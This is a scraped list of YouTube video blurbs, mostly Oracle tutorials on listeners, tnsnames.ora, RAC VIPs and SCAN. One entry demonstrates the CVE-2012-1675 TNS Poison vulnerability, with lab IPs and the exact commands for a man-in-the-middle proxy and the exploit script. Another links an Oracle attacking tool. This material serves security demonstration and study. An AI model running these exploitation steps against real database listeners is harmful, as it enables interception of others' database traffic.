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Concept of VIP in Oracle RAC - SCAN part 1 - RAC 03
 
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In this video you will understand about VIP/ VIPNAME which are used in Oracle RAC. This understanding is necessary to understand about SCAN in Oracle RAC/ GI. Our Upcoming Online Course Schedule is available in the url below https://docs.google.com/spreadsheets/d/1qKpKf32Zn_SSvbeDblv2UCjvtHIS1ad2_VXHh2m08yY/edit#gid=0 Reach us at [email protected]
Views: 7080 Ramkumar Swaminathan
Steps for connecting to a RAC Database using SCAN Name | Oracle rac scan listener| scan vip
 
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This video explains about the steps for connecting to a RAC database using SCAN Name.Also we discuss database connecting using OS authentication and using normal VIP
Views: 30475 Wysheid Wysheid
Oracle Networking Between Server and Client machine using TNS listener
 
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Hello friends in today video i am going to explain you that how to perform a Oracle Networking Between Server and Client machine using TNS listener. Oracle database Unbeatable,Unbreakable Platform..
Views: 11901 Oracle World
Oracle - Understanding the tnsnames.ora and listener.ora files
 
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Oracle - Understanding the tnsnames.ora and listener.ora files
Views: 179325 Chris Ostrowski
Introduction to Oracle Listener
 
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https://dbagenesis.com/p/oracle-11g-advanced-dba DBA Genesis provides all you need to build and manage effective Oracle technology learning. We designed DBA Genesis as a simple to use yet powerful online Oracle learning system for students. Each of our courses is taught by an expert instructor, and every course is available on demand. A listener is a separate process than your database processes which runs on the database server to accept incoming connections. Any client connection first lands on to database listener and then its handed over to the PMON process. All the databases running on a server must have their services registered with the listener or else listener will not be able to accept the incoming connections.
Views: 21901 DBA Genesis
Oracle Database  - Listener Process - DBArch Video 6
 
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You will learn about the Oracle Listener, The purpose of Listener and what is the impact if its down... Our Upcoming Online Course Schedule is available in the url below https://docs.google.com/spreadsheets/d/1qKpKf32Zn_SSvbeDblv2UCjvtHIS1ad2_VXHh2m08yY/edit#gid=0 Reach us at [email protected]
Views: 11470 Ramkumar Swaminathan
Load-Balancing a RAC Database
 
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RAC environments are very complex ones and include many different components. One of the goals of RAC database is to balance the load between the different instances and listeners. In this session we will dive into the load balancing mechanism. We will talk about the client configuration, SCAN listeners, services and more, and see some guidelines and best practices to better utilize the balance between the nodes. Speaker: Liron Amitzi, Founder of DBAces Canada
Views: 22897 Oracle RAC SIG
DB Hacking - Oracle
 
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Проверяем на прочность Oracle RDBMS ODAT (Oracle Database Attacking Tool) https://github.com/quentinhardy/odat
Identifying Host Names and IP Addresses in SQL and PL/SQL using Built-in Oracle Functionality
 
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This video demonstrates how to do DNS lookups and idenitify server and client host names and IP addresses in SQL and PL/SQL from Oracle. For more information see: https://oracle-base.com/articles/misc/identifying-host-names-and-addresses For information on Network Access Control Lists (ACLs) see: https://oracle-base.com/articles/11g/fine-grained-access-to-network-services-11gr1 https://oracle-base.com/articles/12c/fine-grained-access-to-network-services-enhancements-12cr1 Website: https://oracle-base.com Blog: https://oracle-base.com/blog Twitter: https://twitter.com/oraclebase Cameo by Mike Donovan Blog: http://blog.dbvisit.com/author/miked/ Twitter: https://twitter.com/dbvisitmike Website: http://www.dbvisit.com/ Cameo appearances are for fun, not an endorsement of the content of this video.
Views: 7057 ORACLE-BASE.com
The Listener ora file
 
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#Oracle #Listener Configuration file listener.ora
Views: 1992 Hemant K Chitale
SCAN Explained - SCAN Part 3 - RAC 05
 
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In this video, the last in the series about SCAN, you will understand how SCAN helps in a Cluster with server pools to enable applications to connect easily to Database Services. Our Upcoming Online Course Schedule is available in the url below https://docs.google.com/spreadsheets/d/1qKpKf32Zn_SSvbeDblv2UCjvtHIS1ad2_VXHh2m08yY/edit#gid=0 Reach us at [email protected]
Views: 5402 Ramkumar Swaminathan
ORACLE RAC Networks CheckingPublic,Private,VIP,SCAN name for pre grid installaion
 
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Before starting the Grid infrastructure installation, we should check the private, publi,VIP, SCAN name(and SCAN IPs) are correctly configured or not. this is the best test i ever seen.
Views: 1847 RAMESH NAIDU
Oracle RAC IP Private IP Virtual IP Concepts
 
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Oracle RAC IP Private IP Virtual IP Concepts
Views: 1733 He He
How to change Port number of Oracle Data Base
 
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by kumar This video is going to tell you how to change your port no of oracle data base ,default port 8080.(oracle)
Views: 17528 brijesh kumar
Single-Client Access Name In an Oracle RAC environment
 
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Single Client Access Name (SCAN) is an Oracle Real Application Clusters (Oracle RAC) feature that provides a single name for clients to access Oracle Databases running in a cluster. For more information please visit https://www.koenig-solutions.com/oracle-database-12c-rac-administration-training.aspx
Views: 380 Koenig Solutions
Listener Basics For DBA
 
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Oracle Listener Basics for Oracle DBA
Views: 29893 Satish Lodam
Using Oracle Net Manager(netmgr) to create a Service Name and Listener
 
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This video describes how to create a net service name and how to create and configure a listener
Views: 9034 regina nkemchor
Oracle Database Listener Configuration and Q&A session | by Dinesh Sharma
 
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Oracle Database Listener Configuration and Q&A session | by Dinesh Sharma
Views: 4 Dinesh sharma
How to know your oracle SID name
 
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...................................................Finish.................................................. To get my others videos just go to the link which is given below.. https://www.youtube.com/channel/UCFcOAx6xy6aQgKzJFaJ_8zQ Stay connected with information... Stay Connected with my tutorial.. Stay connected with updated reports tutorial... Keep learning about Oracle Databese ....... Thanks for watching... Subscribe my Channel : Mahfujur Rahman Subscribe my channel : Mahfujur Rahman Thanks For Watching MdMahfujur Rahman Database Design and Development IDB-BISEW IT Scholarship Project. 01673472384
Views: 19140 Mahfujur Rahman
how to configure Listener, Database , Repository in Oracle 11g R2
 
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Create your own Services And Oracle Warehouse Builder User By Config The Database And listener
Views: 27978 PRAVEEN DAS
Basic network details every RAC DBA should know | Public and private IP addresses
 
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https://dbagenesis.com/p/oracle-11gr2-rac-for-beginners Oracle RAC technology is the advance level of database which is designed to provide high availability and scalability. Oracle RAC is installed on multiple servers and it forms the foundation for database cloud. Build a Strong Foundation in Oracle grid, Clusterware Installation with this Video Course for Beginners. Introduction to clusterware technology Oracle cluster node setup Oracle 11g grid software installation Setup two node RAC Create first Oracle RAC database Oracle RAC and ASM administration A strong RAC Beginners Course for IT Professionals World Wide! Oracle RAC allows multiple computers to run Oracle RDBMS software simultaneously while accessing a single database, thus providing clustering. The main aim of Oracle RAC online course is to implement a clustered database to provide performance, scalability and resilience. It’s a clustered version of Oracle Database based on a comprehensive high availability stack The Oracle 11gR2 Real Application Clusters Administration course describes the Oracle RAC architecture, hands on experience and Oracle Real Application Clusters multi node installations. This course is for people who have prior knowledge on Oracle database administration and covers knowledge on topics like Oracle RAC Cluster, Oracle AMS, Oracle RAC administration, Oracle RAC Installation, Oracle RAC on VirtualBox and many more.
Views: 17190 DBA Genesis
Pythian Video: "Oracle RAC - VIP Configuration Mistakes" by Alex Gorbachev
 
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In this videocast Alex Gorbachev explains how to correctly configure Oracle RAC database to for connectivity with Virtual IP's (VIP's) and demonstrate what happens when database servers are configured incorrectly.
Views: 10682 Alex Gorbachev
Find out MASTER node in RAC database
 
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Find out MASTER node in RAC database
How to configure listener in Oracle 11g on Redhat
 
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A listener is configured with one or more listening protocol addresses, information about supported services, and parameters that control its run-time behavior. The listener configuration is stored in a configuration file named listener.ora. Because all of the configuration parameters have default values, it is possible to start and use a listener with no configuration. This default listener has a name of LISTENER, supports no services on startup, and listens on the following TCP/IP protocol address: (ADDRESS=(PROTOCOL=tcp)(HOST=host_name)(PORT=1521)) The listener forwards client requests to supported services. These services can be configured statically in the listener.ora file or they can be dynamically registered with the listener. This dynamic registration feature is called service registration. The registration is performed by the PMON process, an instance background process of each database instance that is configured in the database initialization parameter file. Dynamic service registration does not require any manual configuration in the listener.ora file. Service registration offers the following benefits: Simplified configuration Service registration reduces the need for the SID_LIST_listener_name parameter setting, which specifies information about the databases served by the listener, in the listener.ora file.
Views: 750 OnLinE ReSoUrCe
Understanding Listener and Dynamic Service Registration
 
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Understanding Oracle Listener and Dynamic Service Registration
Views: 6078 Satish Lodam
Configuring Listener in Oracle 11g
 
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The listener processes on a server detect incoming requests from clients for connection - by default on port 1521 and manage network-traffic once clients have connected to an Oracle database. The listener uses a configuration-file - listener.ora - to help keep track of names, protocols, services and hosts.
Views: 2291 Harikrishna Mekala
Simplified DBA-016- Oracle Networking-LISTENER Management
 
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Oracle clients communicate with oracle databases using Oracle Net Services over TCP/IP. On database server, oracle Net Services has a component called LISTENER that listens connection request on a port. A Listener has a configuration file called listener.ora in $ORACLE_HOME/network/admin folder. Sample listener.ora file:
Startup and Shutdown of RAC database | oracle rac administration | srvctl commands
 
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This Video discuss startup and shutdown steps for a RAC database
Views: 26678 Wysheid Wysheid
How to create listener in Oracle 11g
 
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Step 1: Select “Net Configuration Assistant from Oracle” Step 2: Select Listener Configuration option. Step 3: Select the appropriate Operation. Step 4: Enter the respective Listener name. Step 5: Select “TCP” protocol for the listener. Step 6: Enter respective Port number. Step 7: If we don’t need to install another listener the select ‘no’ else select ‘yes’ for configuring another listener. Step 8 : Listener Configuration Completed.
Views: 4266 Chris Walker
Direct TCP-IP Oracle connection - Connection without OCI
 
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Direct oracle database connection without oracle client installed. DreamCoder for Oracle TCP-IP Direct connection feature.
Views: 4235 sqldeveloper
CVE-2012-1675 Oracle Database TNS Poison 0Day Demonstration
 
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Subscribe: http://www.youtube.com/subscription_center?add_user=wowzataz Blog : http://eromang.zataz.com Twitter : http://twitter.com/eromang Timeline : Vulnerability discovered by Joxean Koret in 2008 Vulberability reported to the vendor by Joxean Koret in 2008 Public release of the vulnerability in Oracle CPU by the vendor the 2012-04-17 Details and PoC of the vulnerability released by Joxean Koret the 2012-04-18 Fake patching of the vulnerability discovered by Joxean Koret the 2012-04-26 PoC provided by: Joxean Koret Reference(s) : Oracle CPU of April 2012 CVE-2012-1675 Affected versions : All versions of Oracle Database Tested with Oracle Database 10g Enterprise Edition Release 10.2.0.4.0 Description : Usage of Joxean Koret PoC require that the database name has a length of 6 characters. Database server characteristics : IP : 192.168.178.150 Oracle version : 10.2.0.4.0 Database listener port : 1521 Database listener has no clients IPs restrictions Database name : arcsig Database username : arcsig Database password : testtest Database client characteristics : IP : 192.168.178.151 SQL*Plus version : 10.2.0.4.0 tnsnames.ora file as bellow : TARGET.DB= (DESCRIPTION = (ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.178.150)(PORT = 1521)) (CONNECT_DATA = (SERVICE_NAME= arcsig) ) ) Attacker characteristics : IP : 192.168.178.100 Usage of PoC provided by Joxean Koret Demonstration : PoC validation phase On database server : ifconfig On database client : ifconfig sqlplus -v cat tnsnames.ora sqlplus [email protected] HELP QUIT PoC exploitation phase On attacker : Start the MITM proxy, how will intercept the communication between the client and the database : sudo python proxy.py -l 192.168.178.100 -p 1521 -r 192.168.178.150 -P 1521 Start the vulnerability exploitation : python tnspoisonv1.py 192.168.178.100 1521 arcsig 192.168.178.150 1521 On the database client : Connect with SQL*Plus sqlplus [email protected] ? ? INDEX TOTO QUIT You can see that the communication are intercepted by the proxy.
Views: 11422 Eric Romang
Is LBA mandatory for SCAN listener in Oracle RAC?
 
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Load Balancing Advisory is a feature that helps SCAN LISTENER to balance load across the instances in Oracle RAC 11gR2. This video will help you deep dive into concepts and facts on the same. Look at the blog of this video at: www.orskl.com In need of Oracle DBA training: www.orskl.com/training WhatsApp for traning at : +919951696808
Views: 3805 OrSkl Academy
Shared Server Configuration in Oracle Database - DBArch Video 18
 
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You will learn about the concept of Shared Servers and Dispatchers in an Oracle Database. This is a method of optimizing resources on the Database Server side when a user is connecting from a Thick Client ( application installed on a desktop). Our Upcoming Online Course Schedule is available in the url below https://docs.google.com/spreadsheets/d/1qKpKf32Zn_SSvbeDblv2UCjvtHIS1ad2_VXHh2m08yY/edit#gid=0 Reach us at [email protected]
Views: 4878 Ramkumar Swaminathan
How to Check scan listener log
 
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How to Check scan listener log
Views: 1572 Jamaal Khan
Oracle Database Tutorial 70: IO ERROR: The network adapter could not establish the connection
 
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IO ERROR: The network adapter could not establish the connection Learn how to solve this Oracle Database / SQL Developer Error with in 4 minutes ------------------------------------------------------------------------ ►►►LINKS◄◄◄ Blog : http://bit.ly/sql-developer-error-the-network-adapter-could-not-establish-the-connection Previous Tutorial ► Intersect and Minus SQL set operators https://youtu.be/sDZFpwEw1k8 ------------------------------------------------------------------------- ►►►Let's Get Free Uber Cab◄◄◄ Use Referral Code UberRebellionRider and get $20 free for your first ride. ------------------------------------------------------------------------- ►►►Help Me In Getting A Job◄◄◄ ►Help Me In Getting A Good Job By Connecting With Me on My LinkedIn and Endorsing My Skills. All My Contact Info is Down Below. You Can Also Refer Me To Your Company Thanks ------------------------------------------------------------------------- Copy Cloud referral link || Use this link to join copy cloud and get 20GB of free storage https://copy.com?r=kb4rc1 -------------------------------------------------------------------------- ►Make sure you SUBSCRIBE and be the 1st one to see my videos! -------------------------------------------------------------------------- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ►►►Find me on Social Media◄◄◄ Follow What I am up to as it happens on https://twitter.com/rebellionrider https://www.facebook.com/imthebhardwaj http://instagram.com/rebellionrider https://plus.google.com/+Rebellionrider http://in.linkedin.com/in/mannbhardwaj/ http://rebellionrider.tumblr.com/ http://www.pinterest.com/rebellionrider/ You can also Email me at for E-mail address please check About section Please LIKE and SHARE my videos it makes me happy. Thanks for liking, commenting, sharing and watching more of our videos This is Manish from RebellionRider.com ♥ I LOVE ALL MY VIEWERS AND SUBSCRIBERS
Views: 136075 Manish Sharma
how set ip configuration in oracle
 
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ip configuration oracle in linux red hat
Views: 71 database exert
Oracle Database tutorials 4:  database connectivity using SQL developer and command prompt
 
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Blog Link: http://bit.ly/how-to-create-new-connection-in-sql-developer Wishlist: http://bit.ly/wishlist-amazon This SQL tutorial and Oracle database 11g tutorial for beginners will show how to connect to database either on a local machine or on a machine in your LAN using ip address. Tool used in this tutorial is SQL developer & command prompt. This tutorial series is part of SQL expert exam certification training. If you are preparing for SQL certification you can use my tutorials. This SQL Tutorial is a part of free training. Copy Cloud referral link || Use this link to join copy cloud and get 20GB of free storage https://copy.com?r=j7eYO7 Contacts Email [email protected] Twitter https://twitter.com/rebellionrider Instagram http://instagram.com/RebellionRider Facebook. https://www.facebook.com/imthebhardwaj Linkedin. in.linkedin.com/in/mannbhardwaj/ Thanks for linking, commenting, sharing and watching more of our videos The Code makers
Views: 265585 Manish Sharma
How to find Oracle Service Name by sql command
 
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If you have an Oracle database on your network which is able to connect to with Oracle SQL Developer, using hostname, port, username, password and the SID. you need to connect another application, however it uses the Service Name instead of the SID. it is the way for to you to determine the SERVICE_NAME of the database when you am connected in SQL Developer via the SID thanking you... just share this video to your friends...
Views: 15024 w3h
TNS Listener Oracle 11g
 
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Segundo video que muestro la configuracion TNS Listener . ora-01081 cannot start already-running oracle - shut it down first. levantar los servicios de oracle. mas adelante explicare los WEB SERVICES y el uso del ide WID.
Views: 17782 heberto rosillo
Oracle 11g Listener Configuration
 
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Oracle 11g Listener Configuration email :[email protected]
Views: 8054 suraj raut
Configuring network interface from DHCP to Static IP address on Oracle Linux and Centos 7 and RHEL 7
 
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Please watch: "R language 2018" https://www.youtube.com/watch?v=Ws12M1sNZBM --~-- http://www.zulqarnainhayat.com/wp-content/uploads/2017/10/steps.txt
Views: 2265 Zulqarnain Hayat
SQL SERVER PART-12: Oracle Linked Database Server
 
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HOW TO CREATE LINKED SERVER AND HOW TO QUERY ORACLE DATABASE FROM SQL SERVER MANAGEMENT STUDIO. SQL server 2017 makes it easy to configure linked server. You can use open-query to get or manipulate data of linked server database. CONFIGURATION SUMMARY: PROVIDER : oracle provider for oledb. DATA SOURCE : It is usually a combination of oracle server IP: port number/t.n.s listener name. e.g. 192.168.1.10:5121/orcl OPEN QUERY : select * form openquery(linked_server_name, ' sql query statement ') Configure a linked server to enable the SQL Server Database Engine to execute commands against OLE DB data sources outside of the instance of SQL Server. Typically linked servers are configured to enable the Database Engine to execute a Transact-SQL statement that includes tables in another instance of SQL Server, or another database product such as Oracle. Many types OLE DB data sources can be configured as linked servers, including Microsoft Access and Excel. Linked servers offer the following advantages: • The ability to access data from outside of SQL Server. • The ability to issue distributed queries, updates, commands, and transactions on heterogeneous data sources across the enterprise. • The ability to address diverse data sources similarly. An oracle linked server require OLE DB provider. An OLE DB provider is a DLL that manages and interacts with a specific data source. If your oracle database is not in same server then you have to install The Oracle Data Access Components (ODAC) for Windows consists of Oracle client side drivers. An OLE DB data source identifies the specific database that can be accessed through OLE DB. Although data sources queried through linked server definitions are ordinarily databases, OLE DB providers exist for a variety of files and file formats. These include text files, spreadsheet data, and the results of full-text content searches. Typically, linked servers are used to handle distributed queries. When a client application executes a distributed query through a linked server, SQL Server parses the command and sends requests to OLE DB. The row set request may be in the form of executing a query against the provider or opening a base table from the provider.
Views: 312 G Entertainment